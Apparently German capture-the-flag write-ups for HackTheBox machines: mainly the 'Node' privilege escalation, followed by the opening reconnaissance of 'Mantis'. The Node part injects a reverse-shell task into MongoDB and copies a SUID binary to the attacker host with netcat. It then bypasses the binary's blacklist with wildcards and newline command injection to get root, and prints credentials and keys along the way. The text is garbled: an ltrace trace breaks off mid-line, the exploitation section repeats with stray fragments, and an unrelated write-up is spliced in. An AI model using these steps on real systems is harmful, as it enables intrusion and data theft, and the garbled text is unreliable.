const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

app.js sucht in der Datenbank tasks nach Einträgen (Zeile 15)  und führt den Inhalt in cmd als Shellbefehl aus (Zeile 19-21).

Da wir die Anmeldedaten für die Datenbank haben und somit neue Einträge machen können, können wir dafür sorgen, dass z.B. ein Reverse Shell Skript ausgeführt wird.

Ich benutze dieses NodeJS Reverse Shell Skript dafür.

Als nächstes nur noch NetCat Port 4444 abhören lassen und IP Adresse und Port im Skript dementsprechend ändern.

root@kali:~# nc -lnvp 4444

Unter /tmp/ können wir das Skript dann mithilfe von VI(M) einfügen.

mark@node:~$ vi /tmp/reverse.js

Nun können wir uns mit der Datenbank verbinden.

mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler

Failed global initialization: BadValue Invalid or no user locale set. Please ensure LANG and/or LC_* environment variables are set correctly.

Wenn du diese Fehlermeldung bekommen solltest benutze folgendes.

mark@node:~$ export LC_ALL=C

So. 2. Versuch.

mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler

> db.tasks.insert({cmd: "/usr/bin/node /tmp/reverse.js"})
{
"acknowledged" : true,
"insertedId" : ObjectId("5a8d1e6cf84b3aa4294de40d")
}

Durch db.tasks.insert({cmd: “/usr/bin/node /tmp/reverse.js”}) machen wir einen neuen Eintrag in der Datenbank tasks. cmdbekommt dabei den Wert /usr/bin/node /tmp/reverse.js, welcher dafür sorgt, dass node unser Reverse Shell Skript ausführt. Zeile 4-6 ist die Bestätigung, dass der Eintrag erfolgreich war.

Jetzt nur noch ein wenig warten, bis unser Eintrag ausgeführt wurde und wir haben Zugriff als tom.

tom@node:/$

tom@node:/$ find / -perm -u=s 2>/dev/null

/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/local/bin/backup
/usr/bin/chfn
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/newuidmap
/bin/ping
/bin/umount
/bin/fusermount
/bin/ping6
/bin/ntfs-3g
/bin/su
/bin/mount

find / -perm -u=s durchsucht alle Dateien, nach welchen die von jedem Benutzer ausgeführt werden können und dann die effektive UID des Benutzers der Datei haben. Mehr Informationen dazu kannst du hier finden. 2>/dev/null sorgt einfach dafür, dass alle Fehlermeldungen (z.B. bei Zugriff verweigert) zu /dev/null umgeleitet werden. /dev/null verwirft jegliche Daten, die dorthin geschrieben werden.

/usr/local/bin/backup sieht unüblich aus.

tom@node:/$ cd  /usr/local/bin
tom@node:/usr/local/bin$ file backup

backup: setuid ELF 32-bit LSB exeutable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter  /lib/ld-linux.so.2,  for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369,  not stripped

**/usr/local/bin/backup **ist eine ELF Datei.

Laden wir uns die Datei herunter um sie uns genauer ansehen zu können.

root@kali:~# nc -lnvp 8888 > backup

root@kali:~# ifconfig tun0
[...]
inet 10.10.14.52 netmask 255.255.254.0 destination 10.10.14.52
[...]

tom@node:/usr/local/bin$ nc 10.10.14.52 8888 < backup

Mit ltrace können wir das Programm debuggen.

root@kali:~# chmod +x backup

root@kali:~# ltrace ./backup
__libc_start_main(0x80489fd, 1, 0xffb9ac24, 0x80492c0 <unfinished ...>
geteuid() = 0
setuid(0) = 0
exit(1 <no return ...>
+++ exited (status 1) +++

Das Programm beendet mit dem **Status  1 **und macht sonst nichts nennenswertes. Benutzen wir radare2 um uns den Assembly Source Code anzusehen.

root@kali:~# r2 backup

[0x08048780]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x08048780]> afl
0x080485a8 3 35 sym._init
0x080485e0 1 6 sym.imp.strstr
0x080485f0 1 6 sym.imp.strcmp
0x08048600 1 6 sym.imp.printf
0x08048610 1 6 sym.imp.strcspn
0x08048620 1 6 sym.imp.fgets
0x08048630 1 6 sym.imp.fclose
0x08048640 1 6 sym.imp.time
0x08048650 1 6 sym.imp.geteuid
0x08048660 1 6 sym.imp.strcat
0x08048670 1 6 sym.imp.strcpy
0x08048680 1 6 sym.imp.getpid
0x08048690 1 6 sym.imp.puts
0x080486a0 1 6 sym.imp.system
0x080486b0 1 6 sym.imp.clock
0x080486c0 1 6 sym.imp.exit
0x080486d0 1 6 sym.imp.srand
0x080486e0 1 6 sym.imp.strchr
0x080486f0 1 6 sym.imp.__libc_start_main
0x08048700 1 6 sym.imp.fopen
0x08048710 1 6 sym.imp.strncpy
0x08048720 1 6 sym.imp.rand
0x08048730 1 6 sym.imp.access
0x08048740 1 6 sym.imp.setuid
0x08048750 1 6 sym.imp.sprintf
0x08048760 1 6 sym.imp.remove
0x08048770 1 6 sub.__gmon_start___252_770
0x08048780 1 33 entry0
0x080487b0 1 4 sym.__x86.get_pc_thunk.bx
0x080487c0 4 43 sym.deregister_tm_clones
0x080487f0 4 53 sym.register_tm_clones
0x08048830 3 30 sym.__do_global_dtors_aux
0x08048850 4 43 -> 40 entry1.init
0x0804887b 1 197 sym.mix
0x08048940 1 63 sym.displayWarning
0x0804897f 1 63 sym.displaySuccess
0x080489be 1 63 sym.displayTarget
0x080489fd 50 2237 sym.main
0x080492c0 4 93 sym.__libc_csu_init
0x08049320 1 2 sym.__libc_csu_fini
0x08049324 1 20 sym._fini
[0x08048780]> vvv

Nachdem wir aaa (analysiere alles), afl (liste alle Funktionen auf) und dann vvv (gehe in den Visuellen Modus) eingegeben haben, sehen wir folgendes.

Wählen wir nun sym.main mit Hilfe der Pfeiltasten aus. Jetzt 2x g drücken und dann Leertaste. Wenn wir nun etwas runtergehen sehen wir folgendes.

cmp dword [ebx], 3 ( Das Register ebc wird mit dem Wert 3 verglichen )
jg 0x8048a44;[gc] ( Wenn ebx größer oder gleich 3 ist, wird das Programm weiter ausgeführt, ansonsten wird es beendet.)

Eventuell möchte das Programm 3 (oder mehr) Argumente haben.

( Mit q kannst du radare2 wieder beenden )

Probieren wir nun das Programm mit 3 Argumenten aus.

root@kali:~# ltrace ./backup arg1 arg2 arg3

__libc_start_main(0x80489fd, 4, 0xffa26dc4, 0x80492c0 <unfinished ...>
geteuid() = 0
setuid(0) = 0
strcmp("arg1", "-q") = 1

[...]

strncpy(0xffab3ad8, "arg2", 100) = 0xffab3ad8
strcpy(0xffab3ac1, "/") = 0xffab3ac1
strcpy(0xffab3acd, "/") = 0xffab3acd
strcpy(0xffab3a57, "/e") = 0xffab3a57
strcat("/e", "tc") = "/etc"
strcat("/etc", "/m") = "/etc/m"
strcat("/etc/m", "yp") = "/etc/myp"
strcat("/etc/myp", "la") = "/etc/mypla"
strcat("/etc/mypla", "ce") = "/etc/myplace"
strcat("/etc/myplace", "/k") = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey") = "/etc/myplace/key"
strcat("/etc/myplace/key", "s") = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r") = 0
strcpy(0xffab26a8, "Could not open file\n\n") = 0xffab26a8
printf(" %s[!]%s %s\n", "\033[33m", "\033[37m", "Could not open file\n\n" [!] Could not open file

) = 37
exit(1 <no return ...>
+++ exited (status 1) +++

In Zeile 6 wird das erste Argument mit -q verglichen ( strcmp(“arg1”, “-q”) = 1 ). Testen wir das aus.

root@kali:~# ltrace ./backup -q arg2 arg3
__libc_start_main(0x80489fd, 4, 0xffb8b344, 0x80492c0 <unfinished ...>
geteuid() = 0
setuid(0) = 0
strcmp("-q", "-q") = 0
strncpy(0xffb8b208, "arg2", 100) = 0xffb8b208
strcpy(0xffb8b1f1, "/") = 0xffb8b1f1
strcpy(0xffb8b1fd, "/") = 0xffb8b1fd
strcpy(0xffb8b187, "/e") = 0xffb8b187
strcat("/e", "tc") = "/etc"
strcat("/etc", "/m") = "/etc/m"
strcat("/etc/m", "yp") = "/etc/myp"
strcat("/etc/myp", "la") = "/etc/mypla"
strcat("/etc/mypla", "ce") = "/etc/myplace"
strcat("/etc/myplace", "/k") = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey") = "/etc/myplace/key"
strcat("/etc/myplace/key", "s") = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r") = 0
exit(1 <no return ...>
+++ exited (status 1) +++

In Zeile 18 wird versucht /etc/myplace/keys zu lesen.

tom@node:/usr/local/bin$ cat /etc/myplace/keys
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110

Kopieren wir uns den Inhalt und erstellen bei unserer Maschine die Datei /etc/myplace/keys.

root@kali:~# mkdir /etc/myplace

vi /etc/myplace/keys

a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110

So jetzt erneut das Programm debuggen.

root@kali:~# ltrace ./backup -q arg2 arg3
__libc_start_main(0x80489fd, 4, 0xffaf3094, 0x80492c0 <unfinished ...>
geteuid() = 0
setuid(0) = 0
strcmp("-q", "-q") = 0
strncpy(0xffaf2f58, "arg2", 100) = 0xffaf2f58
strcpy(0xffaf2f41, "/") = 0xffaf2f41
strcpy(0xffaf2f4d, "/") = 0xffaf2f4d
strcpy(0xffaf2ed7, "/e") = 0xffaf2ed7
strcat("/e", "tc") = "/etc"
strcat("/etc", "/m") = "/etc/m"
strcat("/etc/m", "yp") = "/etc/myp"
strcat("/etc/myp", "la") = "/etc/mypla"
strcat("/etc/mypla", "ce") = "/etc/myplace"
strcat("/etc/myplace", "/k") = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey") = "/etc/myplace/key"
strcat("/etc/myplace/key", "s") = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r") = 0x8ef1160
fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x8ef1160) = 0xffaf2aef
strcspn("a01a6aa5aaf1d7729f35c8278daae30f"..., "\n") = 64
strcmp("arg2", "a01a6aa5aaf1d7729f35c8278daae30f"...) = -1
fgets("45fac180e9eee72f4fd2d9386ea7033e"..., 1000, 0x8ef1160) = 0xffaf2aef
strcspn("45fac180e9eee72f4fd2d9386ea7033e"..., "\n") = 64
strcmp("arg2", "45fac180e9eee72f4fd2d9386ea7033e"...) = -1
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x8ef1160) = 0xffaf2aef
strcspn("3de811f4ab2b7543eaf45df611c2dd25"..., "\n") = 64
strcmp("arg2", "3de811f4ab2b7543eaf45df611c2dd25"...) = -1
fgets("\n", 1000, 0x8ef1160) = 0xffaf2aef
strcspn("\n", "\n") = 0
strcmp("arg2", "") = 1
fgets("", 1000, 0x8ef1160) = 0
exit(1 <no return ...>
+++ exited (status 1) +++

Das zweite Argument wird mit 3 verschiedenen Strings verglichen. Benutzen wir das Argument -s 100 für ltrace um die Länge der anzuzeigenden Strings zu erhöhen.

root@kali:~# ltrace -s 100 ./backup -q arg2 arg3
__libc_start_main(0x80489fd, 4, 0xffe7ff14, 0x80492c0 <unfinished ...>
geteuid() = 0
setuid(0) = 0
strcmp("-q", "-q") = 0
strncpy(0xffe7fdd8, "arg2", 100) = 0xffe7fdd8
strcpy(0xffe7fdc1, "/") = 0xffe7fdc1
strcpy(0xffe7fdcd, "/") = 0xffe7fdcd
strcpy(0xffe7fd57, "/e") = 0xffe7fd57
strcat("/e", "tc") = "/etc"
strcat("/etc", "/m") = "/etc/m"
strcat("/etc/m", "yp") = "/etc/myp"
strcat("/etc/myp", "la") = "/etc/mypla"
strcat("/etc/mypla", "ce") = "/etc/myplace"
strcat("/etc/myplace", "/k") = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey") = "/etc/myplace/key"
strcat("/etc/myplace/key", "s") = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r") = 0x8820160
fgets("a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508\n", 1000, 0x8820160) = 0xffe7f96f
strcspn("a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508\n", "\n") = 64
strcmp("arg2", "a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508") = -1
fgets("45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474\n", 1000, 0x8820160) = 0xffe7f96f
strcspn("45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474\n", "\n") = 64
strcmp("arg2", "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474") = -1
fgets("3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110\n", 1000, 0x8820160) = 0xffe7f96f
strcspn("3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110\n", "\n") = 64
strcmp("arg2", "3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110") = -1
fgets("\n", 1000, 0x8820160) = 0xffe7f96f
strcspn("\n", "\n") = 0
strcmp("arg2", "") = 1
fgets("", 1000, 0x8820160) = 0
exit(1 <no return ...>
+++ exited (status 1) +++

Das 2. Argument wird also mit den Strings aus /etc/myplace/keys verglichen.

Benutzen wir nun einen der 3 Strings aus /etc/myplace/keys als 2. Argument.

root@kali:~# ltrace -s 100 ./backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 arg3
__libc_start_main(0x80489fd, 4, 0xffb1c9e4, 0x80492c0 <unfinished ...>
geteuid() = 0
setuid(0) = 0
strcmp("-q", "-q") = 0
strncpy(0xffb1c8a8, "a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508", 100) = 0xffb1c8a8
strcpy(0xffb1c891, "/") = 0xffb1c891
strcpy(0xffb1c89d, "/") = 0xffb1c89d
strcpy(0xffb1c827, "/e") = 0xffb1c827
strcat("/e", "tc") = "/etc"
strcat("/etc", "/m") = "/etc/m"
strcat("/etc/m", "yp") = "/etc/myp"
strcat("/etc/myp", "la") = "/etc/mypla"
strcat("/etc/mypla", "ce") = "/etc/myplace"
strcat("/etc/myplace", "/k") = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey") = "/etc/myplace/key"
strcat("/etc/myplace/key", "s") = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r") = 0x9881160
fgets("a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508\n", 1000, 0x9881160) = 0xffb1c43f
strcspn("a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508\n", "\n") = 64
strcmp("a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508", "a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508") = 0
fgets("45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474\n", 1000, 0x9881160) = 0xffb1c43f
strcspn("45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474\n", "\n") = 64
strcmp("a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508", "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474") = 1
fgets("3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110\n", 1000, 0x9881160) = 0xffb1c43f
strcspn("3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110\n", "\n") = 64
strcmp("a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508", "3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110") = 1
fgets("\n", 1000, 0x9881160) = 0xffb1c43f
strcspn("\n", "\n") = 0
strcmp("a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508", "") = 1
fgets("", 1000, 0x9881160) = 0
strstr("arg3", "..") = nil
strstr("arg3", "/root") = nil
strchr("arg3", ';') = nil
strchr("arg3", '&') = nil
strchr("arg3", '`') = nil
strchr("arg3", '

Das 3. Argument gibt also an, von welchem Verzeichnis ( oder welcher Datei ) eine Zip Datei erstellt werden soll. Dafür wird der Befehl system() benutzt. Außerdem wird das 3. Argument mit .. /root ; & ` $ | // und /etc verglichen. Wenn das 3. Argument einen dieser Strings enthält, bekommen wir eine Zip Datei, welche nur ein Trollface enthält.

Jetzt gibt es verschiedene Methoden wie wir vorgehen können.

1. Wildcards

Das ist die einfachste Methode. Wir wollen an den Inhalt von /root/root.txt, aber /root ist auf der Blacklist. Um diese zu entgehen können wir Wildcards benutzen.

tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r??t/r??t.txt

oder

tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r*t/r*t.txt

2. Newline

Zuerst ändern wir den Port bei unserem Reverse Shell Skript /tmp/reverse.js. Dann lassen wir NetCat diesen Port abhören.

nc -lnvp 4445

Jetzt können wir als 3. Argument \n benutzen, damit system() einen weiteren Befehl ausführt. Z.B. unser Skript.

tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508

nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.10.14.52] from (UNKNOWN) [10.10.10.58] 55838
whoami
root
python -c "import pty; pty.spawn('/bin/bash')"

root@node:/usr/local/bin# cat /root/root.txt
172#########ZENSIERT#########be0

root@node:/usr/local/bin# cat /home/tom/user.txt
e11#########ZENSIERT#########1b1

3. Buffer Overflow

Es wird mehrmals strcpy aufgerufen, allerdings wird nicht die Begrenzung überprüft. In der displayTarget Funktion tritt dann ein overflow und ein segfault auf. Damit dies passiert müssen folgende 3 Kriterien erfüllt werden.

1. Das 1. muss ungleich -q sein, damit das Programm nicht im quiet mode gestartet wird.
2. Das 2. Argument muss einen gültigen Key enthalten
3. Das 3. Argument enthält einen 508 characters langen String.

Vielen Dank für’s durchlesen. :)

) = nil strchr("arg3", '|') = nil strstr("arg3", "//") = nil strcmp("arg3", "/") = 1 strstr("arg3", "/etc") = nil strcpy(0xffb1c24b, "arg3") = 0xffb1c24b getpid() = 6034 time(0) = 1520597049 clock(0, 0, 0, 0) = 7799 srand(0x4885486b, 0xc864d874, 0x4885486b, 0x804918c) = 0 rand(0, 0, 0, 0) = 0xb41e2b0 sprintf("/tmp/.backup_188867248", "/tmp/.backup_%i", 188867248) = 22 sprintf("/usr/bin/zip -r -P magicword /tmp/.backup_188867248 arg3 > /dev/null", "/usr/bin/zip -r -P magicword %s %s > /dev/null", "/tmp/.backup_188867248", "arg3") = 65 system("/usr/bin/zip -r -P magicword /tmp/.backup_188867248 arg3 > /dev/null" <no return ...> --- SIGCHLD (Child exited) --- <... system resumed> ) = 3072 access("/tmp/.backup_188867248", 0) = -1 remove("/tmp/.backup_188867248") = -1 fclose(0x9881160) = 0 +++ exited (status 0) +++

Das 3. Argument gibt also an, von welchem Verzeichnis ( oder welcher Datei ) eine Zip Datei erstellt werden soll. Dafür wird der Befehl system() benutzt. Außerdem wird das 3. Argument mit .. /root ; & ` $ | // und /etc verglichen. Wenn das 3. Argument einen dieser Strings enthält, bekommen wir eine Zip Datei, welche nur ein Trollface enthält.

Jetzt gibt es verschiedene Methoden wie wir vorgehen können.

1. Wildcards

Das ist die einfachste Methode. Wir wollen an den Inhalt von /root/root.txt, aber /root ist auf der Blacklist. Um diese zu entgehen können wir Wildcards benutzen.

tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r??t/r??t.txt

oder

tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /r*t/r*t.txt

2. Newline

Zuerst ändern wir den Port bei unserem Reverse Shell Skript /tmp/reverse.js. Dann lassen wir NetCat diesen Port abhören.

nc -lnvp 4445
shell

Jetzt können wir als 3. Argument \n benutzen, damit system() einen weiteren Befehl ausführt. Z.B. unser Skript.

tom@node:/usr/local/bin$ backup -q a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508

nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.10.14.52] from (UNKNOWN) [10.10.10.58] 55838
whoami
root
python -c "import pty; pty.spawn('/bin/bash')"
root@node:/usr/local/bin# cat /root/root.txt
172#########ZENSIERT#########be0
root@node:/usr/local/bin# cat /home/tom/user.txt
e11#########ZENSIERT#########1b1
## 3\. Buffer Overflow

Es wird mehrmals strcpy aufgerufen, allerdings wird nicht die Begrenzung überprüft. In der displayTarget Funktion tritt dann ein overflow und ein segfault auf. Damit dies passiert müssen folgende 3 Kriterien erfüllt werden.

1. Das 1. muss ungleich -q sein, damit das Programm nicht im quiet mode gestartet wird.
2. Das 2. Argument muss einen gültigen Key enthalten
3. Das 3. Argument enthält einen 508 characters langen String.

) = nil strchr("arg3", '|') = nil strstr("arg3", "//") = nil strcmp("arg3", "/") = 1 strstr("arg3", "/etc") = nil strcpy(0xffb1c24b, "arg3") = 0xffb1c24b getpid() = 6034 time(0) = 1520597049 clock(0, 0, 0, 0) = 7799 srand(0x4885486b, 0xc864d874, 0x4885486b, 0x804918c) = 0 rand(0, 0, 0, 0) = 0xb41e2b0 sprintf("/tmp/.backup_188867248", "/tmp/.backup_%i", 188867248) = 22 sprintf("/usr/bin/zip -r -P magicword /tmp/.backup_188867248 arg3 > /dev/null", "/usr/bin/zip -r -P magicword %s %s > /dev/null", "/tmp/.backup_188867248", "arg3") = 65 system("/usr/bin/zip -r -P magicword /tmp/.backup_188867248 arg3 > /dev/null" <no return ...> --- SIGCHLD (Child exited) --- <... system resumed> ) = 3072 access("/tmp/.backup_188867248", 0) = -1 remove("/tmp/.backup_188867248") = -1 fclose(0x9881160) = 0 +++ exited (status 0) +++

Das 3. Argument gibt also an, von welchem Verzeichnis ( oder welcher Datei ) eine Zip Datei erstellt werden soll. Dafür wird der Befehl system() benutzt. Außerdem wird das 3. Argument mit .. /root ; & ` $ | // und /etc verglichen. Wenn das 3. Argument einen dieser Strings enthält, bekommen wir eine Zip Datei, welche nur ein Trollface enthält.

Vielen Dank für’s durchlesen. :)

Tipps

• Port 8080 ist nicht der richtige HTTP Port. Außerdem sollte eine größere Wörterliste für das Directory Bruteforcing benutzt werden.
• Um an User und Root zu kommen, musst du einen Exploit für die kritische Kerberos Schwachstelle MS14-068 benutzen.
• GoldenPac.py von Impacket, kann es dir einfacher machen.

Video

Anleitung

Als erstes machen wir wie immer einen Nmap-Scan. Wir scannen alle Ports mit -p- und lassen uns mit -A Informationen zum einen zu den jeweiligen Services anzeigen und zum anderen ein paar Skripte laufen.

root@kali:~# nmap -A -p- 10.10.10.52

[...]
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601
| dns-nsid: 
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15CD4)
88/tcp    open  tcpwrapped
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds  Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB)
464/tcp   open  tcpwrapped
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1337/tcp  open  http          Microsoft IIS httpd 7.5
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2014 12.00.2000.00; RTM
| ms-sql-ntlm-info: 
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: MANTIS
| DNS_Domain_Name: htb.local
| DNS_Computer_Name: mantis.htb.local
| DNS_Tree_Name: htb.local
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2018-02-26T05:06:38
|_Not valid after: 2048-02-26T05:06:38
|_ssl-date: 2018-02-26T14:24:03+00:00; 0s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=mantis.htb.local
| Not valid before: 2018-02-25T13:21:18
|_Not valid after: 2018-08-27T13:21:18
|_ssl-date: 2018-02-26T14:24:06+00:00; 0s from scanner time.
5722/tcp  open  msrpc         Microsoft Windows RPC
8080/tcp  open  http          Microsoft IIS httpd 7.5
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Tossed Salad - Blog
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49164/tcp open  msrpc         Microsoft Windows RPC
49166/tcp open  msrpc         Microsoft Windows RPC
49168/tcp open  msrpc         Microsoft Windows RPC
50255/tcp open  unknown
[...]

Host script results:
| ms-sql-info: 
| 10.10.10.52:1433: 
| Version: 
| name: Microsoft SQL Server 2014 RTM
| number: 12.00.2000.00
| Product: Microsoft SQL Server 2014
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery: 
| OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: mantis
| NetBIOS computer name: MANTIS\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: mantis.htb.local
|_ System time: 2018-02-26T09:24:06-05:00
| smb-security-mode: 
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled and required
| smb2-time: 
| date: 2018-02-26 15:24:06
|_ start_date: 2018-02-26 06:06:11
[...]

Bei Port 1337 läuft ein HTTP-Server. Das Skript smb-os-discovery findet heraus, dass das Betriebssystem Windows Server 2008 R2 Service Pack 1, der Computer-Name mantis und der Domain-Name htb.local ist. Diese Informationen werden uns später noch nützlich sein. Außerdem läuft auf Port 1433 ein Microsoft SQL Server.

Als nächstes sehen wir nach, welche Verzeichnisse wir finden können.

root@kali:~# gobuster -u 10.10.10.52:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 25

Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.52:1337/
[+] Threads : 25
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/secure_notes (Status: 301)
=====================================================

secure_notes ist das einzige Verzeichnis, welches gefunden wurde.

Sehen wir uns secure_notes mal an.

Wir sehen zwei Dateien. web.config ist uninteressant, aber **dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt **hat einige interessante Informationen für uns. Der Inhalt der Datei ist wie folgt:

1. Download OrchardCMS
2. Download SQL server 2014 Express ,create user "admin",and create orcharddb database
3. Launch IIS and add new website and point to Orchard CMS folder location.
4. Launch browser and navigate to http://localhost:8080
5. Set admin password and configure sQL server connection string.
6. Add blog pages with admin user.

Es wird also wahrscheinlich ein SQL server 2014 Express benutzt, welcher eine Datenbank namens orcharddb mit dem Benutzer admin hat.

Die Text-Datei hat einen merkwürdigen Namen, der nach einer Base64 Kodierung aussieht.

root@kali:~# echo NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx | base64 -d
6d2424716c5f53405f504073735730726421

Der String den wir nach der Dekodierung erhalten, sieht nach Hexadezimal aus, da nur Buchstaben bis F und Zahlen vorkommen.

root@kali:~# echo 6d2424716c5f53405f504073735730726421 | xxd -r -p
m$ql_S@_P@ssW0rd!

Wir haben anscheinen ein Passwort erhalten.

